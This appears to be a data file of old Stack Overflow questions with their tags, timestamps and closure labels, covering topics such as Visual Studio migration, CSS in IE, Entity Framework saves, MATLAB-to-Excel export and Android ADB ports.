I've looked around and tried many suggestions but none have worked. I recently migrated a web-based application I developed in Visual Web Developer Express 2010 on a 32-bit machine to a newer 64-bit machine. After re-configuring everything the way I had it, I'm trying to re-compile my code but I keep getting this stupid error which makes no sense to me: <!-- language: lang-none --> Error 4: Task could not find "AxImp.exe" using the SdkToolsPath "C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\bin\NETFX 4.0 Tools\" or the registry key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SDKs\Windows\v7.0A". Make sure the SdkToolsPath is set and the tool exists in the correct processor specific location under the SdkToolsPath and that the Microsoft Windows SDK is installed. Also when I view the Project Properties the References, Resources, and Settings tabs all display the following error. I can't for the life of me figure out what to do. All I want to do it compile the bloody project. <!-- language: lang-none --> Could not resolve mscorlib for target framework '.NETFramework,Version=v4.0'. This can happen if the target framework is not installed or if the framework moniker is incorrectly formatted. What in tarnation is that supposed to mean? Does this have anything to do with the CLR? I'm just taking shots in the dark at this point. Help would be sorely appreciated :)
.net
visual-studio-2010
migration
32bit-64bit
null
null
open
Migrating Visual Studio Solution from x86 to x64 Developer Environment === I've looked around and tried many suggestions but none have worked. I recently migrated a web-based application I developed in Visual Web Developer Express 2010 on a 32-bit machine to a newer 64-bit machine. After re-configuring everything the way I had it, I'm trying to re-compile my code but I keep getting this stupid error which makes no sense to me: <!-- language: lang-none --> Error 4: Task could not find "AxImp.exe" using the SdkToolsPath "C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\bin\NETFX 4.0 Tools\" or the registry key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SDKs\Windows\v7.0A". Make sure the SdkToolsPath is set and the tool exists in the correct processor specific location under the SdkToolsPath and that the Microsoft Windows SDK is installed. Also when I view the Project Properties the References, Resources, and Settings tabs all display the following error. I can't for the life of me figure out what to do. All I want to do it compile the bloody project. <!-- language: lang-none --> Could not resolve mscorlib for target framework '.NETFramework,Version=v4.0'. This can happen if the target framework is not installed or if the framework moniker is incorrectly formatted. What in tarnation is that supposed to mean? Does this have anything to do with the CLR? I'm just taking shots in the dark at this point. Help would be sorely appreciated :)
0
1,469,973
09/24/2009 05:57:17
157,650
08/17/2009 10:00:55
6
0
CSS border not working in IE6
I have a css class (given below). The border element is working fine in firefox, it creates a 6px white border around the image. But in IE(6) it is not creating any border ie only displays the image. Pls help me out I need to figure it out quickly. .pimage2 { background:url(../images/img2.gif) no-repeat; width: 469px; height:203px; border:7px solid #ffffff; } Thanks, Aditya
css
html
null
null
null
null
open
CSS border not working in IE6 === I have a css class (given below). The border element is working fine in firefox, it creates a 6px white border around the image. But in IE(6) it is not creating any border ie only displays the image. Pls help me out I need to figure it out quickly. .pimage2 { background:url(../images/img2.gif) no-repeat; width: 469px; height:203px; border:7px solid #ffffff; } Thanks, Aditya
0
560,386
02/18/2009 09:34:54
64,565
02/10/2009 13:50:36
46
8
What is the best MSI generating install tool available?
I am using WIX at the moment, but keep on running into limitations (such as ability to expand properties as the value of another property). Also not sure if I ran into a bug with the FileSearch element, because it is not working as expected (does not find a file that is definitely there). I can go the route of using custom actions built into a dll, but was just wondering if there is a beter way.
install
wix
null
null
null
09/21/2011 07:57:56
not constructive
What is the best MSI generating install tool available? === I am using WIX at the moment, but keep on running into limitations (such as ability to expand properties as the value of another property). Also not sure if I ran into a bug with the FileSearch element, because it is not working as expected (does not find a file that is definitely there). I can go the route of using custom actions built into a dll, but was just wondering if there is a beter way.
4
1,957,197
12/24/2009 07:20:54
133,098
07/04/2009 10:50:47
78
6
How can we configure IIS for domain name mapping
I would like to configure IIS server at(windows server 2003) for domain name mapping. We have purchased domain name for one of our newly created website. I would like to know how can i configure IIS so that anybody from outside world can reach wensite by typing url. say http://xyz.com/ it should redirect at my website home page. I have made website in using asp.net and oracle. Please help me? If there is some tutorial/ link please forward me. This is my first experience of hosting.
asp.net
web-hosting
null
null
null
null
open
How can we configure IIS for domain name mapping === I would like to configure IIS server at(windows server 2003) for domain name mapping. We have purchased domain name for one of our newly created website. I would like to know how can i configure IIS so that anybody from outside world can reach wensite by typing url. say http://xyz.com/ it should redirect at my website home page. I have made website in using asp.net and oracle. Please help me? If there is some tutorial/ link please forward me. This is my first experience of hosting.
0
9,102,216
02/01/2012 19:46:51
1,072,319
11/29/2011 22:38:20
6
0
Drupal Forms API: 'file' or 'managed_file' type with multiple/unlimited values
I've got a form that needs to have either a 'file' or 'managed_file' type field in it for uploading files via the form. Is there an attribute that can be set on the form item render array that will allow multiple/unlimited files to be uploaded via the one form item? For example, when you add a new field via the admin UI to a content type, select the 'file' type widget and then in the field settings set the number of values to 'unlimited' - that's the sort of behavior I'm looking for in this file field via the forms API. Thanks in advance for any pointers!
drupal
file-upload
null
null
null
02/02/2012 00:25:56
off topic
Drupal Forms API: 'file' or 'managed_file' type with multiple/unlimited values === I've got a form that needs to have either a 'file' or 'managed_file' type field in it for uploading files via the form. Is there an attribute that can be set on the form item render array that will allow multiple/unlimited files to be uploaded via the one form item? For example, when you add a new field via the admin UI to a content type, select the 'file' type widget and then in the field settings set the number of values to 'unlimited' - that's the sort of behavior I'm looking for in this file field via the forms API. Thanks in advance for any pointers!
2
5,837,621
04/29/2011 21:33:29
322,355
04/21/2010 13:59:31
3,972
143
Why is not Visual Studio in C++ as intelligent as it's in C#?
I'm wokring on a homework in C++ in Visual Studio 2010, I've found that Visual Studio is not as wonderful as it is in C#. No intellisense , No code formating and stupid load of error messages which they might be gone togother if one error has been fixed. Why that?
c#
c++
visual-studio
null
null
04/30/2011 21:19:36
not constructive
Why is not Visual Studio in C++ as intelligent as it's in C#? === I'm wokring on a homework in C++ in Visual Studio 2010, I've found that Visual Studio is not as wonderful as it is in C#. No intellisense , No code formating and stupid load of error messages which they might be gone togother if one error has been fixed. Why that?
4
9,928,641
03/29/2012 15:32:13
1,207,168
02/13/2012 15:52:28
1
0
IE 8 CSS Selectors
I'm tring to set the style on the first div inside a fieldset and it doesn't seem to be working on IE 8. I've tried several different scenarios :first, first-child, etc and can't get it to work. Was wondering if anyone has any suggestion on getting it to work with IE 8? Thanks! Here's what I have so far: .partialViewContainer > fieldset > div:first-child { border: 1px solid red; } <div class="partialViewContainer"> <fieldset> <div>some content</div> <div>some content</div> </fieldset> </div>
css-selectors
null
null
null
null
03/30/2012 15:19:07
too localized
IE 8 CSS Selectors === I'm tring to set the style on the first div inside a fieldset and it doesn't seem to be working on IE 8. I've tried several different scenarios :first, first-child, etc and can't get it to work. Was wondering if anyone has any suggestion on getting it to work with IE 8? Thanks! Here's what I have so far: .partialViewContainer > fieldset > div:first-child { border: 1px solid red; } <div class="partialViewContainer"> <fieldset> <div>some content</div> <div>some content</div> </fieldset> </div>
3
2,543,114
03/30/2010 05:55:36
14,964
09/17/2008 04:28:17
633
58
VCL form and control font settings under Russian version of MS Windows
I have a Borland C++ Builder VCL app (so I am not working with Unicode yet), I want to provide a simple translation of controls' caption text to Russian at runtime. I can easily use **EnumChildWindows** to get the English caption, then lookup the translation and replace the caption text using **SetWindowText**. This does work well for my western European translations where I don't have to worry about the font. But I am not sure how the Russian version of Windows and then VCL handles 8 bit cyrillic character sets. Currently all the VCL controls have the font settings: Charset=DEFAULT_CHARSET name=MS Sans Serif Am I correct in assuming that when my program is run under a Russian version of Windows the character set will be cyrillic with the **DEFAULT_CHARSET** setting so I won't need to change the font settings in all my controls? If I do have to change the font (at run time), should the Windows API function **SendMessage(hwnd,WM_SETFONT,(WPARAM)hFont,TRUE)** work with VCL controls ? I have tried using the CreateFont() and **SendMessage(..WM_SETFONT..)** with RUSSIAN_CHARSET and a cyrillic font face. This doesn't appear to have any effect, it keeps the font that was set for the control in the form at design time (even ANSI_CHARSET and a standard Windows-installed font face doesn't affect the controls' font) so I looking for confirmation that I won't have to change the font of the controls, or else tell me some VCL method for setting all the controls' font settings at runtime .
vcl
russian
localization
charset
null
null
open
VCL form and control font settings under Russian version of MS Windows === I have a Borland C++ Builder VCL app (so I am not working with Unicode yet), I want to provide a simple translation of controls' caption text to Russian at runtime. I can easily use **EnumChildWindows** to get the English caption, then lookup the translation and replace the caption text using **SetWindowText**. This does work well for my western European translations where I don't have to worry about the font. But I am not sure how the Russian version of Windows and then VCL handles 8 bit cyrillic character sets. Currently all the VCL controls have the font settings: Charset=DEFAULT_CHARSET name=MS Sans Serif Am I correct in assuming that when my program is run under a Russian version of Windows the character set will be cyrillic with the **DEFAULT_CHARSET** setting so I won't need to change the font settings in all my controls? If I do have to change the font (at run time), should the Windows API function **SendMessage(hwnd,WM_SETFONT,(WPARAM)hFont,TRUE)** work with VCL controls ? I have tried using the CreateFont() and **SendMessage(..WM_SETFONT..)** with RUSSIAN_CHARSET and a cyrillic font face. This doesn't appear to have any effect, it keeps the font that was set for the control in the form at design time (even ANSI_CHARSET and a standard Windows-installed font face doesn't affect the controls' font) so I looking for confirmation that I won't have to change the font of the controls, or else tell me some VCL method for setting all the controls' font settings at runtime .
0
6,909,290
08/02/2011 08:36:58
833,199
07/07/2011 09:06:50
1
0
SaveChanges in EntityFramework With Inherited Objects/Tables
This is my first question, so hopefully I start off on the right foot. I am processing reports on a client/institution basis and adding the entries to a SQL Server CE 4.0 Database. I have an Entity Framework (4.1) structure with the following hierarchy: - [Clients] have many [Institutions] - [Institutions] have many [Reports] - [Reports] is an abstract entity that has 2 derived entities: [ReportsExec], [ReportsTrxn]. - [ReportsExec] have many [ReportsExecEntries] - [ReportsExecEntries] is an abstract entitiy that has 3 derived entities: [REELow], [REEMid] , [REEHigh]. - [ReportsTrxn] have many [ReportsTrxnEntries]. - [ReportsTrxnEntries] is an abstract entity that has 2 derived entities: [RTELow], [RTEHigh]. First question: Is this kind of inheritance structure suitable for EF? Second question: What is the best way to call SaveChanges on the ObjectContext? I am currently calling SaveChanges for: 1. each [Client] not already processed (few) 2. each [Institution] not already processed (few) 3. each [Report] not already processed (many) I do not want to allow for partial [Report] saves in the event of an exception, so I do not call SaveChanges on any level below [Report]. Presently I have a function ProcessReports() that returns a [Report], and this [Report] is then added to the ObjectContext. I have tried the following methods, with the following results: 1. Calling SaveChanges for every [Report] processed. This never throws any exceptions, but is very slow. 2. Calling SaveChanges for a chunk of [Reports] processed. This is faster, but there is a chance that an out of memory exception can be thrown. 3. Calling SaveChanges for a volume of [Reports] based on report size (retrieved from FileInfo.Length). Even if the maximum volume for all reports allowed is as small as 10MB, there is a chance that an out of memory exception will be thrown . The last result is the biggest mystery to me, because the most data you can pull from 10MB of reports is 10MB! The [ReportsExecEntries] and the [ReportsTrxnEntries] only contains data that is present in the report, and no other values are added. I can see that when the I tell the EDMX to "Generate Database from Model...", the database actually has tables for all of the above mentioned entities, including the abstract ones. For example, for there is a one-to-many relationship between [Institutions] and [Reports], and a one-to-one relationship between [Reports] and [Reports_ReportsExec] (note that the table name is a concatention of the base entity and the derived entity). For some of my other projects I have used the SqlCeBulkCopy class provided by ErikEJ (thanks Erik!) to add large amounts of data at once to the database, and then rollback if needed. However, because of the inheritance used for this solution, I cannot simply add a chunk of [REELow] entities to the database using SQLCEBulkCopy. If I do, the ObjectContext will complain that there is no corresponding [ReportsExecEntries] entity. Any feedback is greatly appreciated, positive or negative.
sql-server-ce
entity-framework-4.1
savechanges
objectcontext
null
null
open
SaveChanges in EntityFramework With Inherited Objects/Tables === This is my first question, so hopefully I start off on the right foot. I am processing reports on a client/institution basis and adding the entries to a SQL Server CE 4.0 Database. I have an Entity Framework (4.1) structure with the following hierarchy: - [Clients] have many [Institutions] - [Institutions] have many [Reports] - [Reports] is an abstract entity that has 2 derived entities: [ReportsExec], [ReportsTrxn]. - [ReportsExec] have many [ReportsExecEntries] - [ReportsExecEntries] is an abstract entitiy that has 3 derived entities: [REELow], [REEMid] , [REEHigh]. - [ReportsTrxn] have many [ReportsTrxnEntries]. - [ReportsTrxnEntries] is an abstract entity that has 2 derived entities: [RTELow], [RTEHigh]. First question: Is this kind of inheritance structure suitable for EF? Second question: What is the best way to call SaveChanges on the ObjectContext? I am currently calling SaveChanges for: 1. each [Client] not already processed (few) 2. each [Institution] not already processed (few) 3. each [Report] not already processed (many) I do not want to allow for partial [Report] saves in the event of an exception, so I do not call SaveChanges on any level below [Report]. Presently I have a function ProcessReports() that returns a [Report], and this [Report] is then added to the ObjectContext. I have tried the following methods, with the following results: 1. Calling SaveChanges for every [Report] processed. This never throws any exceptions, but is very slow. 2. Calling SaveChanges for a chunk of [Reports] processed. This is faster, but there is a chance that an out of memory exception can be thrown. 3. Calling SaveChanges for a volume of [Reports] based on report size (retrieved from FileInfo.Length). Even if the maximum volume for all reports allowed is as small as 10MB, there is a chance that an out of memory exception will be thrown . The last result is the biggest mystery to me, because the most data you can pull from 10MB of reports is 10MB! The [ReportsExecEntries] and the [ReportsTrxnEntries] only contains data that is present in the report, and no other values are added. I can see that when the I tell the EDMX to "Generate Database from Model...", the database actually has tables for all of the above mentioned entities, including the abstract ones. For example, for there is a one-to-many relationship between [Institutions] and [Reports], and a one-to-one relationship between [Reports] and [Reports_ReportsExec] (note that the table name is a concatention of the base entity and the derived entity). For some of my other projects I have used the SqlCeBulkCopy class provided by ErikEJ (thanks Erik!) to add large amounts of data at once to the database, and then rollback if needed. However, because of the inheritance used for this solution, I cannot simply add a chunk of [REELow] entities to the database using SQLCEBulkCopy. If I do, the ObjectContext will complain that there is no corresponding [ReportsExecEntries] entity. Any feedback is greatly appreciated, positive or negative.
0
991,756
06/13/2009 23:22:59
122,595
06/13/2009 23:18:31
1
0
Select Records with same Name but different Address
Trying to select records with the same customer name but different street addresses. Data Ex: Bob, 123 Front Lane Bob, 43 Highway Rd Shane, 32 Mapleleaf Dr Cindy, 100 North St Mandy, 121 Billy Rd Apt #1 Mandy, 121 Billy Rd I would want to bring back both of Bob and Mandy's records only. Any help would be appreciated.
mssql
tsql
null
null
null
null
open
Select Records with same Name but different Address === Trying to select records with the same customer name but different street addresses. Data Ex: Bob, 123 Front Lane Bob, 43 Highway Rd Shane, 32 Mapleleaf Dr Cindy, 100 North St Mandy, 121 Billy Rd Apt #1 Mandy, 121 Billy Rd I would want to bring back both of Bob and Mandy's records only. Any help would be appreciated.
0
5,608,939
04/10/2011 00:35:58
412,486
08/05/2010 22:46:44
18
0
Who, in the world, uses the DD-YYYY-MM and DD-YY-MM date format patterns?
Who, in the world, uses the DD-YYYY-MM and DD-YY-MM date format patterns? Should I worry about them?
parsing
date
format
patterns
null
04/10/2011 13:12:08
not constructive
Who, in the world, uses the DD-YYYY-MM and DD-YY-MM date format patterns? === Who, in the world, uses the DD-YYYY-MM and DD-YY-MM date format patterns? Should I worry about them?
4
11,308,525
07/03/2012 09:58:26
1,468,361
06/20/2012 06:56:05
1
1
JavaScript innerHTML is not working in Firefox and Google Chrome
I have problem using innerHTML in my JavaScript , working fine in IE but the page is showing error and this is not working in Firefox and Chrome. while posting the page i am getting the following message Message: Not implemented Line: 2695 Char: 1 Code: 0 Thanks in advance
javascript
null
null
null
null
07/03/2012 10:22:32
not a real question
JavaScript innerHTML is not working in Firefox and Google Chrome === I have problem using innerHTML in my JavaScript , working fine in IE but the page is showing error and this is not working in Firefox and Chrome. while posting the page i am getting the following message Message: Not implemented Line: 2695 Char: 1 Code: 0 Thanks in advance
1
9,920,585
03/29/2012 07:06:15
1,068,425
11/27/2011 22:35:54
34
0
How to add more than 3 sheets to an excel workbook from within MATLAB
How do I add more sheets to an excel workbook from within matlab? I set up the workbook like so (based on code I got from someone else's post in this forum): %# create Excel COM Server Excel = actxserver('Excel.Application'); Excel.Visible = true; %# create new XLS file wb = Excel.Workbooks.Add(); wsheet=1; wb.Sheets.Item(wsheet).Activate(); That's fine. Then later on inside the loop I open a new sheet after so many loops: ... if loop==sheetlimit, wsheet=wsheet+1; wb.Sheets.Item(wsheet).Activate(); end This works up to sheet 3. But when wsheet=4 I get this error message which doesn't explain anything: Error in ==> filename at 97 wb.Sheets.Item(wsheet).Activate(); Appreciate any help. Thanks.
excel
matlab
export-to-excel
null
null
null
open
How to add more than 3 sheets to an excel workbook from within MATLAB === How do I add more sheets to an excel workbook from within matlab? I set up the workbook like so (based on code I got from someone else's post in this forum): %# create Excel COM Server Excel = actxserver('Excel.Application'); Excel.Visible = true; %# create new XLS file wb = Excel.Workbooks.Add(); wsheet=1; wb.Sheets.Item(wsheet).Activate(); That's fine. Then later on inside the loop I open a new sheet after so many loops: ... if loop==sheetlimit, wsheet=wsheet+1; wb.Sheets.Item(wsheet).Activate(); end This works up to sheet 3. But when wsheet=4 I get this error message which doesn't explain anything: Error in ==> filename at 97 wb.Sheets.Item(wsheet).Activate(); Appreciate any help. Thanks.
0
7,068,612
08/15/2011 17:56:14
349,026
05/24/2010 14:18:18
849
38
Best algorithm for motion detection?
I wonder what is the best algorithm for motion detection of human subjects. Keeping in mind that the motion is detected for moving objects with tolerance of leaving out minor changes to the environment. Matlab/OpenCV sources would be great! Thanks
matlab
opencv
computer-vision
null
null
08/16/2011 00:39:32
off topic
Best algorithm for motion detection? === I wonder what is the best algorithm for motion detection of human subjects. Keeping in mind that the motion is detected for moving objects with tolerance of leaving out minor changes to the environment. Matlab/OpenCV sources would be great! Thanks
2
415,654
01/06/2009 06:46:39
630
08/07/2008 12:10:44
45
7
Expression.Dynamic and Operators.Assign?
I'm trying to use Expression.Dynamic() to build an assignment operation... I want to use this to selectively offer value type semantics to certain custom type instances in my language. I can't do this with a "static" (?) Expression because I don't know what the actual type is (I need the MetaObject instance and its LimitType... hence Expression.Dynamic() ). This isn't working for me... Expression.Assign() does nothing if used to build a MetaObject from my OperationBinder subclass. Head. Pounding. On. Desk. For. Hours. Just wondering if this is a supported behavior, or if I'm barking up the wrong tree? Thanks...
c#
dlr
null
null
null
null
open
Expression.Dynamic and Operators.Assign? === I'm trying to use Expression.Dynamic() to build an assignment operation... I want to use this to selectively offer value type semantics to certain custom type instances in my language. I can't do this with a "static" (?) Expression because I don't know what the actual type is (I need the MetaObject instance and its LimitType... hence Expression.Dynamic() ). This isn't working for me... Expression.Assign() does nothing if used to build a MetaObject from my OperationBinder subclass. Head. Pounding. On. Desk. For. Hours. Just wondering if this is a supported behavior, or if I'm barking up the wrong tree? Thanks...
0
5,961,992
05/11/2011 09:25:53
683,233
03/30/2011 03:52:18
941
85
Anti-Bot comment system - PHP
Hii, with some advice from SO [see the details on my previous questions if you are interested] i developed the system, which i think is quite strong for bot to automatically post comment ! I'm posting my code so you can view it and post some valuable comments !! Any kind of constructive suggestion is welcome :) `index.php` <html> <head> <script type="text/javascript" src="jquery.js"></script> <script> function main() { var str=$("#key").load("getToken.php",function (responseText) { $("#key").val(responseText); } ); setTimeout("main()", 100000); } </script> </head> <body onload='main()'> <form name="f" action="poster.php" method="post"> <input type="text" name="text"/><br> <input type="text" name="key" id="key" value=""/><br> <input type="submit"> </form> </body> </html> `getToken.php` <?php $key=date("Y-m-d H:i:s"); $hash=sha1($key.'mySecretKey'); echo $key.'#'.$hash; ?> `poster.php` <?php if (!isset($_POST['key'])) exit; $parts = explode('#',$_POST['key'],2); $key = $parts[0]; $hash = $parts[1]; $date1 = $key; $date2 = date("Y-m-d H:i:s"); $diff = abs(strtotime($date2) - strtotime($date1)); $years = floor($diff / (365*60*60*24)); $months = floor(($diff - $years * 365*60*60*24) / (30*60*60*24)); $days = floor(($diff - $years * 365*60*60*24 - $months*30*60*60*24)/ (60*60*24)); $hours = floor(($diff - $years * 365*60*60*24 - $months*30*60*60*24 - $days*60*60*24)/ (60*60)); $minuts = floor(($diff - $years * 365*60*60*24 - $months*30*60*60*24 - $days*60*60*24 - $hours*60*60)/ 60); $seconds = floor(($diff - $years * 365*60*60*24 - $months*30*60*60*24 - $days*60*60*24 - $hours*60*60 - $minuts*60)); if ($seconds < 5) echo $seconds.' Too fast, must be a naughty bot <br>'; else if ($seconds>5 && $seconds < 600) echo $seconds.' In time <br>'; else echo $seconds.' time out <br>'; if ($hash == (sha1($key.'sou'))) echo $_POST['text']; else echo 'You are a bot !'; ?>
php
security
bot
null
null
05/11/2011 13:03:27
off topic
Anti-Bot comment system - PHP === Hii, with some advice from SO [see the details on my previous questions if you are interested] i developed the system, which i think is quite strong for bot to automatically post comment ! I'm posting my code so you can view it and post some valuable comments !! Any kind of constructive suggestion is welcome :) `index.php` <html> <head> <script type="text/javascript" src="jquery.js"></script> <script> function main() { var str=$("#key").load("getToken.php",function (responseText) { $("#key").val(responseText); } ); setTimeout("main()", 100000); } </script> </head> <body onload='main()'> <form name="f" action="poster.php" method="post"> <input type="text" name="text"/><br> <input type="text" name="key" id="key" value=""/><br> <input type="submit"> </form> </body> </html> `getToken.php` <?php $key=date("Y-m-d H:i:s"); $hash=sha1($key.'mySecretKey'); echo $key.'#'.$hash; ?> `poster.php` <?php if (!isset($_POST['key'])) exit; $parts = explode('#',$_POST['key'],2); $key = $parts[0]; $hash = $parts[1]; $date1 = $key; $date2 = date("Y-m-d H:i:s"); $diff = abs(strtotime($date2) - strtotime($date1)); $years = floor($diff / (365*60*60*24)); $months = floor(($diff - $years * 365*60*60*24) / (30*60*60*24)); $days = floor(($diff - $years * 365*60*60*24 - $months*30*60*60*24)/ (60*60*24)); $hours = floor(($diff - $years * 365*60*60*24 - $months*30*60*60*24 - $days*60*60*24)/ (60*60)); $minuts = floor(($diff - $years * 365*60*60*24 - $months*30*60*60*24 - $days*60*60*24 - $hours*60*60)/ 60); $seconds = floor(($diff - $years * 365*60*60*24 - $months*30*60*60*24 - $days*60*60*24 - $hours*60*60 - $minuts*60)); if ($seconds < 5) echo $seconds.' Too fast, must be a naughty bot <br>'; else if ($seconds>5 && $seconds < 600) echo $seconds.' In time <br>'; else echo $seconds.' time out <br>'; if ($hash == (sha1($key.'sou'))) echo $_POST['text']; else echo 'You are a bot !'; ?>
2
6,733,806
07/18/2011 13:41:19
849,840
07/18/2011 10:33:07
1
0
jQuery issue in IE
This function works fine in Chrome but not working in IE, I'm not able to access $(".availabilityLightbox") in IE but it works fine in Chrome, pls suggest some aletnatives so that I can use this function in both Chrome and IE. { var url1 ='<@core.basePath/>sp/availability/populate'; $(".availabilityLightbox").dialog('close'); $(".availabilityLightbox").dialog('destroy'); $(".availabilityLightbox") .html("Loading...") .load(url1, null, function(responseText){ $('.availabilityLightbox').dialog({ autoOpen: true, modal: true, position: top, resizable:'false', close: function() { },width: 920,zIndex: 3999 }); $(".ui-dialog-titlebar").hide(); $(".ui-dialog").css("margin-top","151px"); $(".ui-dialog").css("margin-bottom","101px"); }); }
javascript
null
null
null
null
null
open
jQuery issue in IE === This function works fine in Chrome but not working in IE, I'm not able to access $(".availabilityLightbox") in IE but it works fine in Chrome, pls suggest some aletnatives so that I can use this function in both Chrome and IE. { var url1 ='<@core.basePath/>sp/availability/populate'; $(".availabilityLightbox").dialog('close'); $(".availabilityLightbox").dialog('destroy'); $(".availabilityLightbox") .html("Loading...") .load(url1, null, function(responseText){ $('.availabilityLightbox').dialog({ autoOpen: true, modal: true, position: top, resizable:'false', close: function() { },width: 920,zIndex: 3999 }); $(".ui-dialog-titlebar").hide(); $(".ui-dialog").css("margin-top","151px"); $(".ui-dialog").css("margin-bottom","101px"); }); }
0
5,983,634
05/12/2011 19:49:58
578,204
01/17/2011 07:42:57
6
0
Installing Enhanced Power Kernel On Nokia N900
I want to install Enhanced linux power kernel on n900,but m in bit fear becoz of reflashing if it didn't work properly. Can any one let me know the pros and cones of installing Enhanced Linux power kernel?? Thanks.
linux-kernel
kernel
power
maemo
n900
05/13/2011 01:00:04
not a real question
Installing Enhanced Power Kernel On Nokia N900 === I want to install Enhanced linux power kernel on n900,but m in bit fear becoz of reflashing if it didn't work properly. Can any one let me know the pros and cones of installing Enhanced Linux power kernel?? Thanks.
1
10,225,574
04/19/2012 09:50:37
1,316,485
04/05/2012 23:33:25
1
0
Urban Airship compile errors
Here is what I have, I can't get this to work. I have uninstalled and redownloaded and followed instructions to the letter. I have double and tripled checked the header paths. I have all of the files linked and set for not using ARC. The libraries that are linked including the libUAirship. I do have all of the files in my program. The header search path in search paths matches the path to the Airship folder. I clean between each build and still I get the following error when doing all of this: Undefined symbols for architecture i386: "_AudioServicesCreateSystemSoundID", ... symbol(s) not found for architecture i386 Advice?????? Travis [1]: http://i.stack.imgur.com/fREXR.png [2]: http://i.stack.imgur.com/RtQep.png [3]: http://i.stack.imgur.com/inpNI.png [4]: http://i.stack.imgur.com/seUOs.png [5]: http://i.stack.imgur.com/r1kLL.png [6]: http://i.stack.imgur.com/EoSgk.png
urbanairship.com
null
null
null
null
04/20/2012 12:15:50
not a real question
Urban Airship compile errors === Here is what I have, I can't get this to work. I have uninstalled and redownloaded and followed instructions to the letter. I have double and tripled checked the header paths. I have all of the files linked and set for not using ARC. The libraries that are linked including the libUAirship. I do have all of the files in my program. The header search path in search paths matches the path to the Airship folder. I clean between each build and still I get the following error when doing all of this: Undefined symbols for architecture i386: "_AudioServicesCreateSystemSoundID", ... symbol(s) not found for architecture i386 Advice?????? Travis [1]: http://i.stack.imgur.com/fREXR.png [2]: http://i.stack.imgur.com/RtQep.png [3]: http://i.stack.imgur.com/inpNI.png [4]: http://i.stack.imgur.com/seUOs.png [5]: http://i.stack.imgur.com/r1kLL.png [6]: http://i.stack.imgur.com/EoSgk.png
1
8,653,665
12/28/2011 08:42:29
366,064
06/14/2010 06:25:51
71
13
Some of WPF functionalities does not work on another computer
We've developed a desktop application using .NetFX3.5 which has some winforms and two WPF windows. **I've installed it on almost 20 different computers (most of them have XP) and all are working fine except for one PC** (which also has XP and relatively new hardware specs). Here is the situation: - `WPFWindow1` contains some buttons with click events (which all work fine), and a `ProgressBar` which reads from a list and generates some UIElements for each of them (the creation of these UIElemets use both **binding approach** and **classic child adding approach**. - `WPFWindow2` contains a help button with a click event (which works fine) and a `ComboBox` (which only *populates its items* correctly). And the problem: - When I open `WPFWindow1`, the `ProgressBar` does not progress although it's provided with the proper objects to read from. - And in `WPFWindow2`, when I select an item form `ComboBox` I expect it to show its reports below the ComboBox but it doesn't show anything. I've installed .NetFX4. maybe another assembly or something is missing? or something wrong with permissions (this is a high security site and we use some strict policies from symantec endpoint protection) Any help, advice, suggestions, insight or else is greatly appreciated. ---------- Here's an example showing how I made use of ComboBox. hope this helps. *The following code - as it seems and is not complicated - is provided only to clarify the kinds of methods I've used. so it's not meant to be improved or debugged because the software works fine everywhere except for that specific PC.* <!--Show a list of products--> <ComboBox Name="combo1" ItemsSource="{Binding ProductList}" DisplayMemberPath="ProductName" SelectedValuePath="." SelectedValue="{Binding Path=Product}"/> <!--When a product is selected StackPanel is supposed to be filled with its reports--> <StackPanel> <ItemsControl ItemsSource="{Binding ElementName=combo1, Path=SelectedValue.ReportList}" ItemTemplate="{StaticResource productReportTemplate}"/> </StackPanel>
c#
wpf
desktop-application
desktop-development
null
null
open
Some of WPF functionalities does not work on another computer === We've developed a desktop application using .NetFX3.5 which has some winforms and two WPF windows. **I've installed it on almost 20 different computers (most of them have XP) and all are working fine except for one PC** (which also has XP and relatively new hardware specs). Here is the situation: - `WPFWindow1` contains some buttons with click events (which all work fine), and a `ProgressBar` which reads from a list and generates some UIElements for each of them (the creation of these UIElemets use both **binding approach** and **classic child adding approach**. - `WPFWindow2` contains a help button with a click event (which works fine) and a `ComboBox` (which only *populates its items* correctly). And the problem: - When I open `WPFWindow1`, the `ProgressBar` does not progress although it's provided with the proper objects to read from. - And in `WPFWindow2`, when I select an item form `ComboBox` I expect it to show its reports below the ComboBox but it doesn't show anything. I've installed .NetFX4. maybe another assembly or something is missing? or something wrong with permissions (this is a high security site and we use some strict policies from symantec endpoint protection) Any help, advice, suggestions, insight or else is greatly appreciated. ---------- Here's an example showing how I made use of ComboBox. hope this helps. *The following code - as it seems and is not complicated - is provided only to clarify the kinds of methods I've used. so it's not meant to be improved or debugged because the software works fine everywhere except for that specific PC.* <!--Show a list of products--> <ComboBox Name="combo1" ItemsSource="{Binding ProductList}" DisplayMemberPath="ProductName" SelectedValuePath="." SelectedValue="{Binding Path=Product}"/> <!--When a product is selected StackPanel is supposed to be filled with its reports--> <StackPanel> <ItemsControl ItemsSource="{Binding ElementName=combo1, Path=SelectedValue.ReportList}" ItemTemplate="{StaticResource productReportTemplate}"/> </StackPanel>
0
3,513,073
08/18/2010 14:21:44
424,106
08/18/2010 14:21:44
1
0
Android Sensor.TYPE_LIGHT unity
Does anybody knows the unity of the return value of Sensor.TYPE_LIGHT on Android ? Thanks.
android
sensor
light
null
null
null
open
Android Sensor.TYPE_LIGHT unity === Does anybody knows the unity of the return value of Sensor.TYPE_LIGHT on Android ? Thanks.
0
9,924,274
03/29/2012 11:17:44
806,550
06/20/2011 11:40:04
620
24
Maimum number of devices connected to an ADB server
According to [Android Debug Bridge][1] : The server then sets up connections to all running emulator/device instances. It locates emulator/device instances by scanning odd-numbered ports in the range 5555 to 5585, the range used by emulators/devices. Where the server finds an adb daemon, it sets up a connection to that port. Note that each emulator/device instance acquires a pair of sequential ports — an even-numbered port for console connections and an odd-numbered port for adb connections. For example: Emulator 1, console: 5554 Emulator 1, adb: 5555 Emulator 2, console: 5556 Emulator 2, adb: 5557 ... The ADB server only checks for devices by scanning odd-numbered ports in the range 5555 to 5585 ( 30 ports in total) and assigns 2 ports for each device. Is ADB capable of accepting more than 15 Android Devices (15x2 ports) or can I connect more devices on the same computer? I think it is impossible to run more than one ADB servers on the same machine. [1]: http://developer.android.com/guide/developing/tools/adb.html
android
adb
null
null
null
null
open
